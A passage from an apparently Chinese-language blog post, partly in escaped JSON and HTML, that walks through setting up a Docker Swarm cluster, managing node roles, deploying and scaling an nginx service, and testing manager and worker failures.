管理网络的驱动程序(默认为“\u0026#34;bridge”)。选项：bridge、overlay、macvlan --gateway strings # 指定IPv4或IPv6主子网网关。示例：172.20.0.1 --ingress # 创建群路由-网格网络 --internal # 限制外部访问网络 --ip-range strings # 从子范围分配容器ip --ipam-driver string # IP管理驱动(默认为“default”) --ipam-opt map # 设置IPAM驱动程序的特定选项(默认map[]) --ipv6 # 启用IPv6网络 --label list # 在网络中设置元数据 -o, --opt map # 设置驱动程序特定选项(默认map[]) --scope string # 控制网络的范围 --subnet strings # 指定一个CIDR格式的网段。示例：172.20.0.0/24 # 示例： docker network create -d overlay --attachable apps_net # 移除所有未使用的集群网络 $ docker network prune [OPTIONS] # 选项 --filter filter # 提供过滤值(e.g. \u0026#39;until=\u0026lt;timestamp\u0026gt;\u0026#39;) -f, --force # 强制，没有提示确认 # 删除一个或多个集群网络 $ docker network rm NETWORK [NETWORK...] # 别名：rm, remove 开始配置 环境准备\n1、修改主机名 2、配置IP地址 3、关闭防火墙和SELINUX安全模式 4、配置系统YUM源和Docker镜像源 5、更新系统（yum update -y） 6、安装好docker环境\n初始化集群 docker swarm init --advertise-addr 192.168.65.148 root@chenjx12-0:~# docker swarm init --advertise-addr 192.168.65.148 Swarm initialized: current node (1e0chr8bpn27vlq9g056zy7a2) is now a manager. To add a worker to this swarm, run the following command: docker swarm join --token SWMTKN-1-10u0nu575ou6thien8kscddxebzsnatljdytcas3n9sgin5jog-9cu9j19pfitelu1oap7rgdlub 192.168.65.148:2377 To add a manager to this swarm, run \u0026#39;docker swarm join-token manager\u0026#39; and follow the instructions. root@chenjx12-0:~# docker swarm join-token manager To add a manager to this swarm, run the following command: docker swarm join --token SWMTKN-1-10u0nu575ou6thien8kscddxebzsnatljdytcas3n9sgin5jog-ejpgz6tdq0xsm3c6qjrstq299 192.168.65.148:2377 让其他节点加入集群 root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Ready Active 27.3.1 查看详细情况 root@chenjx12-0:~# docker info Client: Docker Engine - Community Version: 27.3.1 Context: default Debug Mode: false Plugins: buildx: Docker Buildx (Docker Inc.) Version: v0.17.1 Path: /usr/libexec/docker/cli-plugins/docker-buildx compose: Docker Compose (Docker Inc.) Version: v2.29.7 Path: /usr/libexec/docker/cli-plugins/docker-compose Server: Containers: 0 Running: 0 Paused: 0 Stopped: 0 Images: 0 Server Version: 27.3.1 Storage Driver: overlay2 Backing Filesystem: extfs Supports d_type: true Using metacopy: false Native Overlay Diff: true userxattr: false Logging Driver: json-file Cgroup Driver: systemd Cgroup Version: 2 Plugins: Volume: local Network: bridge host ipvlan macvlan null overlay Log: awslogs fluentd gcplogs gelf journald json-file local splunk syslog Swarm: active NodeID: 1e0chr8bpn27vlq9g056zy7a2 Is Manager: true ClusterID: ye2nnvev8mzdyv0g56ee0ka6w Managers: 1 Nodes: 4 Data Path Port: 4789 Orchestration: Task History Retention Limit: 5 Raft: Snapshot Interval: 10000 Number of Old Snapshots to Retain: 0 Heartbeat Tick: 1 Election Tick: 10 Dispatcher: Heartbeat Period: 5 seconds CA Configuration: Expiry Duration: 3 months Force Rotate: 0 Autolock Managers: false Root Rotation In Progress: false Node Address: 192.168.65.148 Manager Addresses: 192.168.65.148:2377 Runtimes: io.containerd.runc.v2 runc Default Runtime: runc Init Binary: docker-init containerd version: 7f7fdf5fed64eb6a7caf99b3e12efcf9d60e311c runc version: v1.1.14-0-g2c9f560 init version: de40ad0 Security Options: apparmor seccomp Profile: builtin cgroupns Kernel Version: 6.1.0-26-amd64 Operating System: Debian GNU/Linux 12 (bookworm) OSType: linux Architecture: x86_64 CPUs: 4 Total Memory: 1.887GiB Name: chenjx12-0 ID: 8d684424-29b4-4611-8a59-d4ce19b0f9da Docker Root Dir: /var/lib/docker Debug Mode: false Experimental: false Insecure Registries: 127.0.0.0/8 Live Restore Enabled: false WARNING: bridge-nf-call-iptables is disabled WARNING: bridge-nf-call-ip6tables is disabled 查看网络信息 root@chenjx12-0:~# docker network ls NETWORK ID NAME DRIVER SCOPE a162d4d5a77e bridge bridge local 1f622764003c docker_gwbridge bridge local 8f11bd442416 host host local d8isx3sccunf ingress overlay swarm 3b8eea1a0902 none null local root@chenjx12-0:~# docker network inspect d8isx3sccunf [ { \u0026#34;Name\u0026#34;: \u0026#34;ingress\u0026#34;, \u0026#34;Id\u0026#34;: \u0026#34;d8isx3sccunf33xeb63c1v21x\u0026#34;, \u0026#34;Created\u0026#34;: \u0026#34;2024-10-28T19:50:32.014998441+08:00\u0026#34;, \u0026#34;Scope\u0026#34;: \u0026#34;swarm\u0026#34;, \u0026#34;Driver\u0026#34;: \u0026#34;overlay\u0026#34;, \u0026#34;EnableIPv6\u0026#34;: false, \u0026#34;IPAM\u0026#34;: { \u0026#34;Driver\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;Options\u0026#34;: null, \u0026#34;Config\u0026#34;: [ { \u0026#34;Subnet\u0026#34;: \u0026#34;10.0.0.0/24\u0026#34;, \u0026#34;Gateway\u0026#34;: \u0026#34;10.0.0.1\u0026#34; } ] }, \u0026#34;Internal\u0026#34;: false, \u0026#34;Attachable\u0026#34;: false, \u0026#34;Ingress\u0026#34;: true, \u0026#34;ConfigFrom\u0026#34;: { \u0026#34;Network\u0026#34;: \u0026#34;\u0026#34; }, \u0026#34;ConfigOnly\u0026#34;: false, \u0026#34;Containers\u0026#34;: { \u0026#34;ingress-sbox\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;ingress-endpoint\u0026#34;, \u0026#34;EndpointID\u0026#34;: \u0026#34;f2dd609d5bc4ba0cb7206b7e4bdc3cd1ba232d727841b693805eecd1b591f7b9\u0026#34;, \u0026#34;MacAddress\u0026#34;: \u0026#34;02:42:0a:00:00:02\u0026#34;, \u0026#34;IPv4Address\u0026#34;: \u0026#34;10.0.0.2/24\u0026#34;, \u0026#34;IPv6Address\u0026#34;: \u0026#34;\u0026#34; } }, \u0026#34;Options\u0026#34;: { \u0026#34;com.docker.network.driver.overlay.vxlanid_list\u0026#34;: \u0026#34;4096\u0026#34; }, \u0026#34;Labels\u0026#34;: {}, \u0026#34;Peers\u0026#34;: [ { \u0026#34;Name\u0026#34;: \u0026#34;b4947f7ebf00\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.148\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;bac21fa67653\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.154\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;d6c037335dd0\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.155\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;3b5f5c73c94c\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.152\u0026#34; } ] } ] 更换节点的角色（manager \u0026ndash; worker） root@chenjx12-0:~# docker node update -h Flag shorthand -h has been deprecated, use --help Usage: docker node update [OPTIONS] NODE Update a node Options: --availability string Availability of the node (\u0026#34;active\u0026#34;, \u0026#34;pause\u0026#34;, \u0026#34;drain\u0026#34;) --label-add list Add or update a node label (\u0026#34;key=value\u0026#34;) --label-rm list Remove a node label if exists --role string Role of the node (\u0026#34;worker\u0026#34;, \u0026#34;manager\u0026#34;) root@chenjx12-0:~# docker node update --role manager chenjx12-1 chenjx12-1 root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active Reachable 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Ready Active 27.3.1 root@chenjx12-0:~# docker node update --role worker chenjx12-1 chenjx12-1 root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Ready Active 27.3.1 节点退出集群 在3号节点上使用命令，回到0号节点发现3号节点下线了（down）\nroot@chenjx12-0:~# docker swarm leave -h Flag shorthand -h has been deprecated, use --help Usage: docker swarm leave [OPTIONS] Leave the swarm Options: -f, --force Force this node to leave the swarm, ignoring warnings root@chenjx12-3:~# docker swarm leave -f Node left the swarm. root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Down Active 27.3.1 删除节点 docker node rm [id] 注意，删除节点无法删除manager管理节点，需要先--role worker，才能rm\n服务部署 查看help\nroot@chenjx12-0:~# docker service Usage: docker service COMMAND Manage Swarm services Commands: create Create a new service inspect Display detailed information on one or more services logs Fetch the logs of a service or task ls List services ps List the tasks of one or more services rm Remove one or more services rollback Revert changes to a service\u0026#39;s configuration scale Scale one or multiple replicated services update Update a service Run \u0026#39;docker service COMMAND --help\u0026#39; for more information on a command. 先在leader上pull一个nginx root@chenjx12-0:/etc/docker# docker pull nginx Using default tag: latest latest: Pulling from library/nginx a480a496ba95: Pull complete f3ace1b8ce45: Pull complete 11d6fdd0e8a7: Pull complete f1091da6fd5c: Pull complete 40eea07b53d8: Pull complete 6476794e50f4: Pull complete 70850b3ec6b2: Pull complete Digest: sha256:28402db69fec7c17e179ea87882667f1e054391138f77ffaf0c3eb388efc3ffb Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest 使用service命令启动Nginx root@chenjx12-0:~# docker service create -p 8888:80 --name xybdiy-nginx nginx qvx9t2qskhr8g0r1i7y5f9ub9 overall progress: 1 out of 1 tasks 1/1: running [==================================================\u0026gt;] verify: Service qvx9t2qskhr8g0r1i7y5f9ub9 converged 使用docker services创建服务，具有扩缩容，滚动更新\n查看服务 root@chenjx12-0:~# docker service ls ID NAME MODE REPLICAS IMAGE PORTS qvx9t2qskhr8 xybdiy-nginx replicated 1/1 nginx:latest *:8888-\u0026gt;80/tcp root@chenjx12-0:~# docker service ps xybdiy-nginx ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR PORTS 7jzyf300ygqh xybdiy-nginx.1 nginx:latest chenjx12-1 Running Running about a minute ago root@chenjx12-0:~# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES root@chenjx12-1:~# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 1efdebcefcd0 nginx:latest \u0026#34;/docker-entrypoint.…\u0026#34; 2 minutes ago Up 2 minutes 80/tcp xybdiy-nginx.1.7jzyf300ygqhnj8zfukkjmrtp root@chenjx12-0:~# docker service inspect xybdiy-nginx [ { \u0026#34;ID\u0026#34;: \u0026#34;qvx9t2qskhr8g0r1i7y5f9ub9\u0026#34;, \u0026#34;Version\u0026#34;: { \u0026#34;Index\u0026#34;: 76 }, \u0026#34;CreatedAt\u0026#34;: \u0026#34;2024-10-28T13:46:32.118348646Z\u0026#34;, \u0026#34;UpdatedAt\u0026#34;: \u0026#34;2024-10-28T13:46:32.127340473Z\u0026#34;, \u0026#34;Spec\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;xybdiy-nginx\u0026#34;, \u0026#34;Labels\u0026#34;: {}, \u0026#34;TaskTemplate\u0026#34;: { \u0026#34;ContainerSpec\u0026#34;: { \u0026#34;Image\u0026#34;: \u0026#34;nginx:latest@sha256:28402db69fec7c17e179ea87882667f1e054391138f77ffaf0c3eb388efc3ffb\u0026#34;, \u0026#34;Init\u0026#34;: false, \u0026#34;StopGracePeriod\u0026#34;: 10000000000, \u0026#34;DNSConfig\u0026#34;: {}, \u0026#34;Isolation\u0026#34;: \u0026#34;default\u0026#34; }, \u0026#34;Resources\u0026#34;: { \u0026#34;Limits\u0026#34;: {}, \u0026#34;Reservations\u0026#34;: {} }, \u0026#34;RestartPolicy\u0026#34;: { \u0026#34;Condition\u0026#34;: \u0026#34;any\u0026#34;, \u0026#34;Delay\u0026#34;: 5000000000, \u0026#34;MaxAttempts\u0026#34;: 0 }, \u0026#34;Placement\u0026#34;: { \u0026#34;Platforms\u0026#34;: [ { \u0026#34;Architecture\u0026#34;: \u0026#34;amd64\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;arm64\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;386\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;mips64le\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;ppc64le\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;s390x\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;linux\u0026#34; }, { \u0026#34;Architecture\u0026#34;: \u0026#34;unknown\u0026#34;, \u0026#34;OS\u0026#34;: \u0026#34;unknown\u0026#34; } ] }, \u0026#34;ForceUpdate\u0026#34;: 0, \u0026#34;Runtime\u0026#34;: \u0026#34;container\u0026#34; }, \u0026#34;Mode\u0026#34;: { \u0026#34;Replicated\u0026#34;: { \u0026#34;Replicas\u0026#34;: 1 } }, \u0026#34;UpdateConfig\u0026#34;: { \u0026#34;Parallelism\u0026#34;: 1, \u0026#34;FailureAction\u0026#34;: \u0026#34;pause\u0026#34;, \u0026#34;Monitor\u0026#34;: 5000000000, \u0026#34;MaxFailureRatio\u0026#34;: 0, \u0026#34;Order\u0026#34;: \u0026#34;stop-first\u0026#34; }, \u0026#34;RollbackConfig\u0026#34;: { \u0026#34;Parallelism\u0026#34;: 1, \u0026#34;FailureAction\u0026#34;: \u0026#34;pause\u0026#34;, \u0026#34;Monitor\u0026#34;: 5000000000, \u0026#34;MaxFailureRatio\u0026#34;: 0, \u0026#34;Order\u0026#34;: \u0026#34;stop-first\u0026#34; }, \u0026#34;EndpointSpec\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;vip\u0026#34;, \u0026#34;Ports\u0026#34;: [ { \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;TargetPort\u0026#34;: 80, \u0026#34;PublishedPort\u0026#34;: 8888, \u0026#34;PublishMode\u0026#34;: \u0026#34;ingress\u0026#34; } ] } }, \u0026#34;Endpoint\u0026#34;: { \u0026#34;Spec\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;vip\u0026#34;, \u0026#34;Ports\u0026#34;: [ { \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;TargetPort\u0026#34;: 80, \u0026#34;PublishedPort\u0026#34;: 8888, \u0026#34;PublishMode\u0026#34;: \u0026#34;ingress\u0026#34; } ] }, \u0026#34;Ports\u0026#34;: [ { \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;TargetPort\u0026#34;: 80, \u0026#34;PublishedPort\u0026#34;: 8888, \u0026#34;PublishMode\u0026#34;: \u0026#34;ingress\u0026#34; } ], \u0026#34;VirtualIPs\u0026#34;: [ { \u0026#34;NetworkID\u0026#34;: \u0026#34;d8isx3sccunf33xeb63c1v21x\u0026#34;, \u0026#34;Addr\u0026#34;: \u0026#34;10.0.0.5/24\u0026#34; } ] } } ] 可以看到该服务被部署到1号节点上，0节点本地docker ps是没有的，而1节点下出现了该服务\n多个部署，动态扩容 root@chenjx12-0:~# docker service update --replicas 2 xybdiy-nginx xybdiy-nginx overall progress: 2 out of 2 tasks 1/2: running [==================================================\u0026gt;] 2/2: running [==================================================\u0026gt;] verify: Service xybdiy-nginx converged 由于第一个服务前面已经部署在1号节点上了，所以这次只需要再部署一个\nroot@chenjx12-0:~# docker service ls ID NAME MODE REPLICAS IMAGE PORTS qvx9t2qskhr8 xybdiy-nginx replicated 2/2 nginx:latest *:8888-\u0026gt;80/tcp root@chenjx12-0:~# docker service ps xybdiy-nginx ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR PORTS 7jzyf300ygqh xybdiy-nginx.1 nginx:latest chenjx12-1 Running Running 9 minutes ago i5m1yshi8p8o xybdiy-nginx.2 nginx:latest chenjx12-0 Running Running 2 minutes ago 可以看到这次部署到了0号和1号两个节点上，但是注意啊：\n1号节点本身是worker，用来运行和部署服务是没问题的\n但是0号节点原来是manager呀，甚至还是leader\n所以，再次查看节点信息会发现：\nroot@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Reachable 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 u6x1nn2xjqsfchbtlegne7swf chenjx12-3 Ready Active Leader 27.3.1 leader被转移到另一个manager节点（3号）上了\n在Docker Swarm集群中，如果当前的leader节点变得不可用或者其资源不足以运行新的任务，leadership（领导权）会自动转移到另一个manager节点上。这是Swarm集群的高可用特性之一。\n在您描述的场景中，如果有一个manager节点被部署了nginx服务，并且这个manager节点恰好是当前的leader，以下情况可能会发生：\n如果该manager节点只是被分配了nginx服务，并且它仍然能够处理manager节点的职责，那么它仍然可以保持leader的角色。 如果部署nginx服务导致该manager节点过载，或者由于某些原因它变得不可用（比如网络问题、硬件故障等），Swarm集群会检测到这个问题，并进行以下操作： 集群中的其他manager节点会通过raft协议选举出一个新的leader。 leadership将从当前不可用的manager节点转移到新的leader节点上。 为了确保Swarm集群的稳定性和高可用性，通常建议将manager节点专用于管理任务，而不要在它们上面运行worker任务。这样可以确保manager节点有足够的资源来处理集群管理和决策任务，即使在节点故障的情况下也能保持集群的稳定运行。\n如果您确实需要在manager节点上运行服务，可以通过以下策略来降低风险：\n限制在manager节点上运行的服务数量，确保它们不会消耗过多资源。 使用资源限制和预留，确保manager节点有足够的资源来执行其管理职责。 如果我们需要保持manager节点不要运行服务，专心管理worker，并且避免leader转移，我们可以使用下面的命令\ndocker service create \\ --name my_nginx \\ --constraint \u0026#39;node.role != manager\u0026#39; \\ nginx 如果我们要更具体一点，限制它不会部署在某个节点上：\n使用节点ip限制 docker service create \\ --name my_nginx \\ --constraint \u0026#39;node.id != node_id\u0026#39; \\ nginx 使用节点名称限制 docker service create \\ --name my_nginx \\ --constraint \u0026#39;node.hostname != node_name\u0026#39; \\ nginx 虽然看上去是只部署在了0号和1号节点，但是实际上你访问集群中任意一个ip的8888端口都能够看到nginx页面\n这就是swarm集群的负载均衡\n故障 前面可以知道，虽然我部署只在两个服务器上但是我访问集群中任意一个ip都能得到服务\n那如果我某个，或者多个服务器挂了呢\n首先，我把所有的（两个）manager挂了\n得到的结果是：访问剩下两个worker节点的ip均能得到服务，但是manager不行\n我把一个manager和一个woker挂了\n得到的结果是：还是能访问到，但是挂了的不行\n并且最后的manager报错：\nroot@chenjx12-3:~# docker node ls Error response from daemon: rpc error: code = Unknown desc = The swarm does not have a leader. It\u0026rsquo;s possible that too few managers are online. Make sure more than half of the managers are online.\n把两个worker都挂掉\n结果是：也是仅存活的两个才能访问，但是使用docker node ls指令不会报错了\n所有就引出了我们swarm集群的节点管理规则：\nDocker Swarm集群节点规划 为了利用 swarm 模式的容错功能，可以根据组织的高可用性要求实现奇数个节点。 当有多个管理中心时，可以从一个管理中心节点的故障中恢复，而无需停机。\n三个管理器群可以容忍最多损失一个管理器。 五个管理器群最多可以同时丢失两个管理器节点。 七个管理器群最多可以同时丢失三个管理器节点。 九个管理器群最多可以同时丢失四个管理器节点。 Docker 建议一个群最多有七个管理器节点。 （添加更多管理器并不意味着可伸缩性或性能的提高。一般来说，情况恰恰相反。） ","permalink":"https://chenjx12.github.io/posts/docker-swarm/","summary":"\u003ch1 id=\"docker-swarm\"\u003eDocker Swarm\u003c/h1\u003e\n\u003cp\u003e学习来源：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://cloud.tencent.com/developer/article/2192062\"\u003e腾讯云\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.runoob.com/docker/docker-swarm.html\"\u003e菜鸟教程\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"swarm-简介\"\u003eSwarm 简介\u003c/h2\u003e\n\u003cp\u003eDocker Swarm 是 Docker 的集群管理工具。它将 Docker 主机池转变为单个虚拟 Docker 主机。 Docker Swarm 提供了标准的 Docker API，所有任何已经与 Docker 守护程序通信的工具都可以使用 Swarm 轻松地扩展到多个主机。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Swarm 架构\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/20260330220534418.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"docker-swarm管理集群\"\u003edocker swarm：管理集群\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 初始化一个swarm\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker swarm init [OPTIONS]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eadvertise\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eaddr string     \u003cspan style=\"color:#75715e\"\u003e# 发布的地址（格式：\u0026lt;ip|interface\u0026gt;[:port]）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eforce\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecluster         \u003cspan style=\"color:#75715e\"\u003e# 强制从当前状态创建一个新的集群（去除本地之外的所有管理器身份）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ecert\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eexpiry duration      \u003cspan style=\"color:#75715e\"\u003e# 节点证书有效期(ns|us|ms|s|m|h)(默认为2160h0m0s)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edata\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003epath\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eaddr string     \u003cspan style=\"color:#75715e\"\u003e# 用于数据路径通信的地址或接口(格式: \u0026lt;ip|interface\u0026gt;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edata\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003epath\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eport uint32     \u003cspan style=\"color:#75715e\"\u003e# 用于数据路径流量的端口号(1024 - 49151)。如果没有值，则默认端口号4789\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edispatcher\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eheartbeat duration     \u003cspan style=\"color:#75715e\"\u003e# 调度程序的心跳周期(ns|us|ms|s|m|h)(默认为5s)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elisten\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eaddr node\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eaddr     \u003cspan style=\"color:#75715e\"\u003e# 监听地址(格式: \u0026lt;ip|interface\u0026gt;[:port]) (默认 0.0.0.0:2377)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看加入节点到集群的命令及令牌(token)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker swarm join\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003etoken [OPTIONS] (worker\u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003emanager)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eq, --quiet    # 只显示令牌\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    --rotate   # 使旧令牌无效并生成新令牌\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 查看加入工作节点到集群的命令及令牌\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker swarm join-token worker\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 查看加入管理节点到集群的命令及令牌\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker swarm join-token manager\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 将节点加入swarm集群，作为一个manager或worker\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker swarm join [OPTIONS] HOST:PORT\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 